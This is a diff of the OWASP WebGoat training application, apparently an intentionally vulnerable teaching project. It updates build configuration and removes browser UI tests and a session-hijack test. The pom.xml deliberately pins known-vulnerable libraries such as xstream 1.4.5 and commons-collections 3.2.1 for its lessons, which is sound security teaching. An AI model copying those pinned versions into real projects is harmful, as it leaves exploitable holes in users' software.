-Duser.home=/config \ -Duser.home=/config \
-Dfile.encoding=UTF-8 \ -Dfile.encoding=UTF-8 \
-DTZ=Europe/Amsterdam \ -DTZ=Europe/Amsterdam \

View File

@ -1,3 +1,3 @@
#!/bin/sh #!/bin/sh
/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar /config/java-jdk/bin/java -jar /config/ZAP_2.15.0/zap-2.15.0.jar

View File

@ -0,0 +1,4 @@
/*
* SPDX-FileCopyrightText: Copyright © $today.year WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/

View File

@ -1,4 +1,3 @@
# WebGoat landing page # WebGoat landing page
Old GitHub page which now redirects to OWASP website. Old GitHub page which now redirects to OWASP website.

View File

@ -11,4 +11,4 @@
The page been moved to <a href="https://owasp.org/www-project-webgoat/">https://owasp.org/www-project-webgoat/</a> The page been moved to <a href="https://owasp.org/www-project-webgoat/">https://owasp.org/www-project-webgoat/</a>
</h1> </h1>
</body> </body>
</html> </html>

2
mvnw vendored
View File

@ -246,7 +246,7 @@ else
else else
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
fi fi
else else
if [ "$MVNW_VERBOSE" = true ]; then if [ "$MVNW_VERBOSE" = true ]; then
echo "Falling back to using Java to download" echo "Falling back to using Java to download"

224
pom.xml
View File

@ -5,12 +5,12 @@
<parent> <parent>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId> <artifactId>spring-boot-starter-parent</artifactId>
<version>3.1.5</version> <version>3.4.3</version>
</parent> </parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat</artifactId> <artifactId>webgoat</artifactId>
<version>2023.5</version> <version>2025.0</version>
<packaging>jar</packaging> <packaging>jar</packaging>
<name>WebGoat</name> <name>WebGoat</name>
@ -29,13 +29,6 @@
</licenses> </licenses>
<developers> <developers>
<developer>
<id>mayhew64</id>
<name>Bruce Mayhew</name>
<email>webgoat@owasp.org</email>
<organization>OWASP</organization>
<organizationUrl>https://github.com/WebGoat/WebGoat</organizationUrl>
</developer>
<developer> <developer>
<id>nbaars</id> <id>nbaars</id>
<name>Nanne Baars</name> <name>Nanne Baars</name>
@ -43,11 +36,6 @@
<organizationUrl>https://github.com/nbaars</organizationUrl> <organizationUrl>https://github.com/nbaars</organizationUrl>
<timezone>Europe/Amsterdam</timezone> <timezone>Europe/Amsterdam</timezone>
</developer> </developer>
<developer>
<id>misfir3</id>
<name>Jason White</name>
<email>jason.white@owasp.org</email>
</developer>
<developer> <developer>
<id>zubcevic</id> <id>zubcevic</id>
<name>René Zubcevic</name> <name>René Zubcevic</name>
@ -58,43 +46,8 @@
<name>Àngel Ollé Blázquez</name> <name>Àngel Ollé Blázquez</name>
<email>angel@olleb.com</email> <email>angel@olleb.com</email>
</developer> </developer>
<developer>
<id>jwayman</id>
<name>Jeff Wayman</name>
<email></email>
</developer>
<developer>
<id>dcowden</id>
<name>Dave Cowden</name>
<email></email>
</developer>
<developer>
<id>lawson89</id>
<name>Richard Lawson</name>
<email></email>
</developer>
<developer>
<id>dougmorato</id>
<name>Doug Morato</name>
<email>doug.morato@owasp.org</email>
<organization>OWASP</organization>
<organizationUrl>https://github.com/dougmorato</organizationUrl>
<timezone>America/New_York</timezone>
<properties>
<picUrl>https://avatars2.githubusercontent.com/u/9654?v=3&amp;s=150</picUrl>
</properties>
</developer>
</developers> </developers>
<mailingLists>
<mailingList>
<name>OWASP WebGoat Mailing List</name>
<subscribe>https://lists.owasp.org/mailman/listinfo/owasp-webgoat</subscribe>
<unsubscribe>Owasp-webgoat-request@lists.owasp.org</unsubscribe>
<post>owasp-webgoat@lists.owasp.org</post>
<archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>
</mailingList>
</mailingLists>
<scm> <scm>
<connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection> <connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
<developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection> <developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
@ -109,62 +62,60 @@
<properties> <properties>
<!-- Shared properties with plugins and version numbers across submodules--> <!-- Shared properties with plugins and version numbers across submodules-->
<asciidoctorj.version>2.5.10</asciidoctorj.version> <asciidoctorj.version>3.0.0</asciidoctorj.version>
<bootstrap.version>5.3.1</bootstrap.version> <bootstrap.version>5.3.3</bootstrap.version>
<cglib.version>3.3.0</cglib.version> <cglib.version>3.3.0</cglib.version>
<!-- do not update necessary for lesson --> <!-- do not update necessary for lesson -->
<checkstyle.version>3.3.1</checkstyle.version> <checkstyle.version>3.6.0</checkstyle.version>
<commons-collections.version>3.2.1</commons-collections.version> <commons-collections.version>3.2.1</commons-collections.version>
<commons-io.version>2.14.0</commons-io.version> <commons-compress.version>1.27.1</commons-compress.version>
<commons-lang3.version>3.12.0</commons-lang3.version> <commons-io.version>2.18.0</commons-io.version>
<commons-text.version>1.10.0</commons-text.version> <commons-lang3.version>3.14.0</commons-lang3.version>
<guava.version>32.1.3-jre</guava.version> <commons-text.version>1.13.0</commons-text.version>
<guava.version>33.4.0-jre</guava.version>
<jacoco.version>0.8.11</jacoco.version> <jacoco.version>0.8.11</jacoco.version>
<java.version>17</java.version> <java.version>23</java.version>
<jaxb.version>2.3.1</jaxb.version> <jaxb.version>2.3.1</jaxb.version>
<jjwt.version>0.9.1</jjwt.version> <jjwt.version>0.9.1</jjwt.version>
<jose4j.version>0.9.3</jose4j.version> <jose4j.version>0.9.3</jose4j.version>
<jquery.version>3.7.0</jquery.version> <jquery.version>3.7.1</jquery.version>
<jsoup.version>1.16.1</jsoup.version> <jsoup.version>1.18.3</jsoup.version>
<maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version> <maven-compiler-plugin.version>3.13.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version> <maven-failsafe-plugin.version>3.5.2</maven-failsafe-plugin.version>
<maven-jar-plugin.version>3.1.2</maven-jar-plugin.version> <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
<maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version> <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
<maven-source-plugin.version>3.1.0</maven-source-plugin.version> <maven-source-plugin.version>3.1.0</maven-source-plugin.version>
<maven-surefire-plugin.version>3.2.1</maven-surefire-plugin.version> <maven-surefire-plugin.version>3.5.2</maven-surefire-plugin.version>
<maven.compiler.source>17</maven.compiler.source> <maven.compiler.proc>full</maven.compiler.proc>
<maven.compiler.target>17</maven.compiler.target> <maven.compiler.source>23</maven.compiler.source>
<maven.compiler.target>23</maven.compiler.target>
<pmd.version>3.15.0</pmd.version> <pmd.version>3.15.0</pmd.version>
<!-- Use UTF-8 Encoding --> <!-- Use UTF-8 Encoding -->
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<thymeleaf.version>3.1.1.RELEASE</thymeleaf.version> <thymeleaf.version>3.1.2.RELEASE</thymeleaf.version>
<webdriver.version>5.3.3</webdriver.version> <waittimeForServerStart>60</waittimeForServerStart>
<webgoat.context>/</webgoat.context> <webdriver.version>5.9.3</webdriver.version>
<webgoat.context>/WebGoat</webgoat.context>
<webgoat.port>8080</webgoat.port> <webgoat.port>8080</webgoat.port>
<webjars-locator-core.version>0.53</webjars-locator-core.version> <webgoat.sslenabled>false</webgoat.sslenabled>
<webwolf.context>/</webwolf.context> <webjars-locator-core.version>0.59</webjars-locator-core.version>
<webwolf.context>/WebWolf</webwolf.context>
<webwolf.port>9090</webwolf.port> <webwolf.port>9090</webwolf.port>
<wiremock.version>2.27.2</wiremock.version> <wiremock.version>3.12.0</wiremock.version>
<xml-resolver.version>1.2</xml-resolver.version> <xml-resolver.version>1.2</xml-resolver.version>
<xstream.version>1.4.5</xstream.version> <xstream.version>1.4.5</xstream.version>
<!-- do not update necessary for lesson --> <!-- do not update necessary for lesson -->
<zxcvbn.version>1.8.0</zxcvbn.version> <zxcvbn.version>1.9.0</zxcvbn.version>
</properties> </properties>
<dependencyManagement> <dependencyManagement>
<dependencies> <dependencies>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.5</version>
</dependency>
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId> <artifactId>commons-exec</artifactId>
<version>1.3</version> <version>1.4.0</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.asciidoctor</groupId> <groupId>org.asciidoctor</groupId>
@ -211,7 +162,7 @@
<dependency> <dependency>
<groupId>com.auth0</groupId> <groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId> <artifactId>java-jwt</artifactId>
<version>4.4.0</version> <version>4.5.0</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.google.guava</groupId> <groupId>com.google.guava</groupId>
@ -249,8 +200,8 @@
<version>${webjars-locator-core.version}</version> <version>${webjars-locator-core.version}</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.github.tomakehurst</groupId> <groupId>org.wiremock</groupId>
<artifactId>wiremock</artifactId> <artifactId>wiremock-standalone</artifactId>
<version>${wiremock.version}</version> <version>${wiremock.version}</version>
</dependency> </dependency>
<dependency> <dependency>
@ -261,12 +212,17 @@
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-compress</artifactId> <artifactId>commons-compress</artifactId>
<version>1.25.0</version> <version>${commons-compress.version}</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.jruby</groupId> <groupId>org.jruby</groupId>
<artifactId>jruby</artifactId> <artifactId>jruby</artifactId>
<version>9.4.3.0</version> <version>9.4.12.0</version>
</dependency>
<dependency>
<groupId>com.microsoft.playwright</groupId>
<artifactId>playwright</artifactId>
<version>1.50.0</version>
</dependency> </dependency>
</dependencies> </dependencies>
</dependencyManagement> </dependencyManagement>
@ -282,6 +238,7 @@
<dependency> <dependency>
<groupId>org.projectlombok</groupId> <groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId> <artifactId>lombok</artifactId>
<version>1.18.36</version>
<scope>provided</scope> <scope>provided</scope>
<optional>true</optional> <optional>true</optional>
</dependency> </dependency>
@ -290,19 +247,9 @@
<artifactId>jaxb-api</artifactId> <artifactId>jaxb-api</artifactId>
<version>${jaxb.version}</version> <version>${jaxb.version}</version>
</dependency> </dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-undertow</artifactId>
</dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId> <artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</exclusion>
</exclusions>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
@ -312,6 +259,10 @@
<groupId>org.flywaydb</groupId> <groupId>org.flywaydb</groupId>
<artifactId>flyway-core</artifactId> <artifactId>flyway-core</artifactId>
</dependency> </dependency>
<dependency>
<groupId>org.flywaydb</groupId>
<artifactId>flyway-database-hsqldb</artifactId>
</dependency>
<dependency> <dependency>
<groupId>org.asciidoctor</groupId> <groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId> <artifactId>asciidoctorj</artifactId>
@ -418,6 +369,12 @@
<artifactId>jaxb-impl</artifactId> <artifactId>jaxb-impl</artifactId>
<scope>runtime</scope> <scope>runtime</scope>
</dependency> </dependency>
<dependency>
<groupId>com.github.terma</groupId>
<artifactId>javaniotcpproxy</artifactId>
<version>1.6</version>
<scope>test</scope>
</dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
@ -430,16 +387,19 @@
<scope>test</scope> <scope>test</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.github.tomakehurst</groupId> <groupId>org.wiremock</groupId>
<artifactId>wiremock</artifactId> <artifactId>wiremock-standalone</artifactId>
<version>3.0.0-beta-2</version>
<scope>test</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>io.rest-assured</groupId> <groupId>io.rest-assured</groupId>
<artifactId>rest-assured</artifactId> <artifactId>rest-assured</artifactId>
<scope>test</scope> <scope>test</scope>
</dependency> </dependency>
<dependency>
<groupId>com.microsoft.playwright</groupId>
<artifactId>playwright</artifactId>
<scope>test</scope>
</dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-properties-migrator</artifactId> <artifactId>spring-boot-properties-migrator</artifactId>
@ -513,11 +473,20 @@
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-failsafe-plugin</artifactId> <artifactId>maven-failsafe-plugin</artifactId>
<configuration> <configuration>
<environmentVariables>
<WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
<WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
<WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
<WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
<WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
<WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
<WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
</environmentVariables>
<systemPropertyVariables> <systemPropertyVariables>
<logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile> <logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
</systemPropertyVariables> </systemPropertyVariables>
<argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port} -Dwebwolfcontext=${webwolf.context} -Dwebgoatcontext=${webgoat.context}</argLine> <argLine>-Xmx512m</argLine>
<includes>org/owasp/webgoat/*Test</includes> <includes>org/owasp/webgoat/integration/*Test, org/owasp/webgoat/playwright/**/*Test</includes>
</configuration> </configuration>
<executions> <executions>
<execution> <execution>
@ -540,6 +509,7 @@
<version>${maven-surefire-plugin.version}</version> <version>${maven-surefire-plugin.version}</version>
<configuration> <configuration>
<forkedProcessTimeoutInSeconds>600</forkedProcessTimeoutInSeconds> <forkedProcessTimeoutInSeconds>600</forkedProcessTimeoutInSeconds>
<!-- Necessary for vulnerable components lesson -->
<argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
@ -547,8 +517,7 @@
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine> --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine>
<excludes> <excludes>
<exclude>**/*IntegrationTest.java</exclude> <exclude>**/*IntegrationTest.java</exclude>
<exclude>src/it/java</exclude> <exclude>**/*UITest.java</exclude>
<exclude>org/owasp/webgoat/*Test</exclude>
</excludes> </excludes>
</configuration> </configuration>
</plugin> </plugin>
@ -557,7 +526,6 @@
<artifactId>maven-checkstyle-plugin</artifactId> <artifactId>maven-checkstyle-plugin</artifactId>
<version>${checkstyle.version}</version> <version>${checkstyle.version}</version>
<configuration> <configuration>
<encoding>UTF-8</encoding>
<consoleOutput>true</consoleOutput> <consoleOutput>true</consoleOutput>
<failsOnError>true</failsOnError> <failsOnError>true</failsOnError>
<configLocation>config/checkstyle/checkstyle.xml</configLocation> <configLocation>config/checkstyle/checkstyle.xml</configLocation>
@ -568,9 +536,18 @@
<plugin> <plugin>
<groupId>com.diffplug.spotless</groupId> <groupId>com.diffplug.spotless</groupId>
<artifactId>spotless-maven-plugin</artifactId> <artifactId>spotless-maven-plugin</artifactId>
<version>2.38.0</version> <version>2.44.3</version>
<configuration> <configuration>
<formats> <formats>
<format>
<includes>
<include>src/**/*.java</include>
</includes>
<licenseHeader>
<file>${project.basedir}/config/license-headers/java</file>
<delimiter>(package|import)</delimiter>
</licenseHeader>
</format>
<format> <format>
<includes> <includes>
<include>.gitignore</include> <include>.gitignore</include>
@ -629,7 +606,7 @@
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId> <artifactId>maven-enforcer-plugin</artifactId>
<version>3.3.0</version> <version>3.5.0</version>
<executions> <executions>
<execution> <execution>
<id>restrict-log4j-versions</id> <id>restrict-log4j-versions</id>
@ -653,10 +630,6 @@
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId> <artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>17</source>
<target>17</target>
</configuration>
</plugin> </plugin>
</plugins> </plugins>
</build> </build>
@ -686,16 +659,15 @@
<portNames> <portNames>
<portName>webgoat.port</portName> <portName>webgoat.port</portName>
<portName>webwolf.port</portName> <portName>webwolf.port</portName>
<portName>jmxPort</portName>
</portNames> </portNames>
</configuration> </configuration>
</execution> </execution>
</executions> </executions>
</plugin> </plugin>
<plugin> <plugin>
<groupId>com.bazaarvoice.maven.plugins</groupId> <groupId>org.honton.chas</groupId>
<artifactId>process-exec-maven-plugin</artifactId> <artifactId>process-exec-maven-plugin</artifactId>
<version>0.9</version> <version>0.9.2</version>
<executions> <executions>
<execution> <execution>
<id>start-jar</id> <id>start-jar</id>
@ -703,8 +675,18 @@
<goal>start</goal> <goal>start</goal>
</goals> </goals>
<phase>pre-integration-test</phase> <phase>pre-integration-test</phase>
<configuration> <configuration>
<workingDir>${project.build.directory}</workingDir> <workingDir>${project.build.directory}</workingDir>
<environment>
<WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
<WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
<WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
<WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
<WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
<WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
<WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
</environment>
<arguments> <arguments>
<argument>java</argument> <argument>java</argument>
<argument>-jar</argument> <argument>-jar</argument>
@ -712,10 +694,6 @@
<argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument> <argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
<argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument> <argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
<argument>-Dspring.main.banner-mode=off</argument> <argument>-Dspring.main.banner-mode=off</argument>
<argument>-Dwebgoat.port=${webgoat.port}</argument>
<argument>-Dwebgoat.context=${webgoat.context}</argument>
<argument>-Dwebwolf.port=${webwolf.port}</argument>
<argument>-Dwebwolf.context=${webwolf.context}</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.base/java.lang=ALL-UNNAMED</argument> <argument>java.base/java.lang=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
@ -723,26 +701,18 @@
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.base/java.lang.reflect=ALL-UNNAMED</argument> <argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.base/java.text=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.desktop/java.beans=ALL-UNNAMED</argument> <argument>java.desktop/java.beans=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/sun.nio.ch=ALL-UNNAMED</argument> <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.base/java.io=ALL-UNNAMED</argument> <argument>java.base/java.io=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.base/java.util=ALL-UNNAMED</argument> <argument>java.base/java.util=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.io=ALL-UNNAMED</argument>
<argument>${project.build.directory}/webgoat-${project.version}.jar</argument> <argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
</arguments> </arguments>
<waitForInterrupt>false</waitForInterrupt> <waitForInterrupt>false</waitForInterrupt>
<waitAfterLaunch>120</waitAfterLaunch> <waitAfterLaunch>${waittimeForServerStart}</waitAfterLaunch>
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/actuator/health</healthcheckUrl> <healthCheckUrl>http://127.0.0.1:${webgoat.port}${webgoat.context}/login</healthCheckUrl>
</configuration> </configuration>
</execution> </execution>
<execution> <execution>
@ -767,7 +737,6 @@
<plugin> <plugin>
<groupId>org.owasp</groupId> <groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId> <artifactId>dependency-check-maven</artifactId>
<version>8.4.3</version>
<configuration> <configuration>
<failBuildOnCVSS>7</failBuildOnCVSS> <failBuildOnCVSS>7</failBuildOnCVSS>
<skipProvidedScope>false</skipProvidedScope> <skipProvidedScope>false</skipProvidedScope>
@ -816,7 +785,6 @@
<plugin> <plugin>
<groupId>org.jacoco</groupId> <groupId>org.jacoco</groupId>
<artifactId>jacoco-maven-plugin</artifactId> <artifactId>jacoco-maven-plugin</artifactId>
<version>${jacoco.version}</version>
<executions> <executions>
<execution> <execution>
<id>before-unit-test</id> <id>before-unit-test</id>

View File

@ -1,21 +0,0 @@
# Install and use Robotframework
## Install Chromedriver on Mac OS
brew install cask chromedriver
chromedriver --version
Then see security settings and allow the file to run
## Install
pip3 install virtualenv --user
python3 -m virtualenv .venv
source .venv/bin/activate
pip install --upgrade robotframework
pip install --upgrade robotframework-SeleniumLibrary
pip install --upgrade webdriver-manager
brew upgrade
robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot
Make sure that the Chrome version, the webdriver version and all related components are up-to-date and compatible!

View File

@ -1,129 +0,0 @@
*** Settings ***
Documentation Setup WebGoat Robotframework tests
Library SeleniumLibrary timeout=100 run_on_failure=Capture Page Screenshot
Library String
Library OperatingSystem
Suite Setup Initial_Page ${ENDPOINT} ${BROWSER}
Suite Teardown Close_Page
*** Variables ***
${BROWSER} chrome
${SLEEP} 100
${DELAY} 0.25
${ENDPOINT} http://127.0.0.1:8080/WebGoat
${ENDPOINT_WOLF} http://127.0.0.1:9090/WebWolf
${USERNAME} robotuser
${PASSWORD} password
${HEADLESS} ${FALSE}
*** Keywords ***
Initial_Page
[Documentation] Check the inital page
[Arguments] ${ENDPOINT} ${BROWSER}
Log To Console Start WebGoat UI Testing
IF ${HEADLESS}
Open Browser ${ENDPOINT} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized") alias=webgoat
ELSE
Open Browser ${ENDPOINT} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat
END
Switch Browser webgoat
Maximize Browser Window
Set Window Size ${1400} ${1000}
Set Window Position ${0} ${0}
Set Selenium Speed ${DELAY}
Log To Console Start WebWolf UI Testing
IF ${HEADLESS}
Open Browser ${ENDPOINT_WOLF} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized") alias=webwolf
ELSE
Open Browser ${ENDPOINT_WOLF} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf
END
Switch Browser webwolf
Maximize Browser Window
Set Window Size ${1400} ${1000}
Set Window Position ${500} ${0}
Set Selenium Speed ${DELAY}
Close_Page
[Documentation] Closing the browser
Log To Console ==> Stop WebGoat UI Testing
IF ${HEADLESS}
Switch Browser webgoat
Close Browser
Switch Browser webwolf
Close Browser
END
*** Test Cases ***
Check_Initial_Page
[Tags] WebGoatTests
Switch Browser webgoat
Page Should Contain Username
Click Button Sign in
Page Should Contain Invalid username
Click Link /WebGoat/registration
Check_Registration_Page
[Tags] WebGoatTests
Page Should Contain Username
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Input Text matchingPassword ${PASSWORD}
Click Element agree
Click Button Sign up
Check_Welcome_Page
[Tags] WebGoatTests
Page Should Contain WebGoat
Go To ${ENDPOINT}/login
Page Should Contain Username
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Click Button Sign in
Page Should Contain WebGoat
Check_Menu_Page
[Tags] WebGoatTests
Click Element css=a[category='Introduction']
Click Element Introduction-WebGoat
CLick Element Introduction-WebWolf
Click Element css=a[category='General']
CLick Element General-HTTPBasics
Click Element xpath=//*[.='2']
Input Text person ${USERNAME}
Click Button Go!
${OUT_VALUE} Get Text xpath=//div[contains(@class, 'attack-feedback')]
${OUT_RESULT} Evaluate "resutobor" in """${OUT_VALUE}"""
IF not ${OUT_RESULT}
Fail "not ok"
END
Check_WebWolf
Switch Browser webwolf
location should be ${ENDPOINT_WOLF}/login
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Click Button Sign In
Go To ${ENDPOINT_WOLF}/mail
Go To ${ENDPOINT_WOLF}/requests
Go To ${ENDPOINT_WOLF}/files
Check_JWT_Page
Go To ${ENDPOINT_WOLF}/jwt
Click Element token
Wait Until Element Is Enabled token 5s
Input Text token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Click Element secretKey
Input Text secretKey none
Sleep 2s # Pause before reading the result
${OUT_VALUE} Get Value xpath=//textarea[@id='token']
Log To Console Found token ${OUT_VALUE}
${OUT_RESULT} Evaluate "ImuPnHvLdU7ULKfbD4aJU" in """${OUT_VALUE}"""
Log To Console Found token ${OUT_RESULT}
Capture Page Screenshot
Check_Files_Page
Go To ${ENDPOINT_WOLF}/files
Choose File css:input[type="file"] ${CURDIR}/goat.robot
Click Button Upload files

View File

@ -0,0 +1,40 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat;
public record ServerUrlConfig(String host, String port, String contextPath) {
public ServerUrlConfig {
contextPath = contextPath.replaceAll("/", "");
}
public String getBaseUrl() {
return "http://%s:%s".formatted(host, port);
}
public String url(String path) {
return "%s/%s".formatted(getFullUrl(), path);
}
private String getFullUrl() {
return "http://%s:%s/%s".formatted(host, port, contextPath);
}
public static ServerUrlConfig webGoat() {
return new ServerUrlConfig(
"localhost", env("WEBGOAT_PORT", "8080"), env("WEBGOAT_CONTEXT", "WebGoat"));
}
public static ServerUrlConfig webWolf() {
return new ServerUrlConfig(
"localhost", env("WEBWOLF_PORT", "9090"), env("WEBWOLF_CONTEXT", "WebWolf"));
}
private static String env(String variableName, String defaultValue) {
return System.getenv().getOrDefault(variableName, "").isEmpty()
? defaultValue
: System.getenv(variableName);
}
}

View File

@ -1,45 +0,0 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2021 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source
* ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat;
import java.util.Map;
import org.junit.jupiter.api.Test;
/**
* @author Angel Olle Blazquez
*/
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
@Test
void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(
url(HIJACK_LOGIN_CONTEXT_PATH),
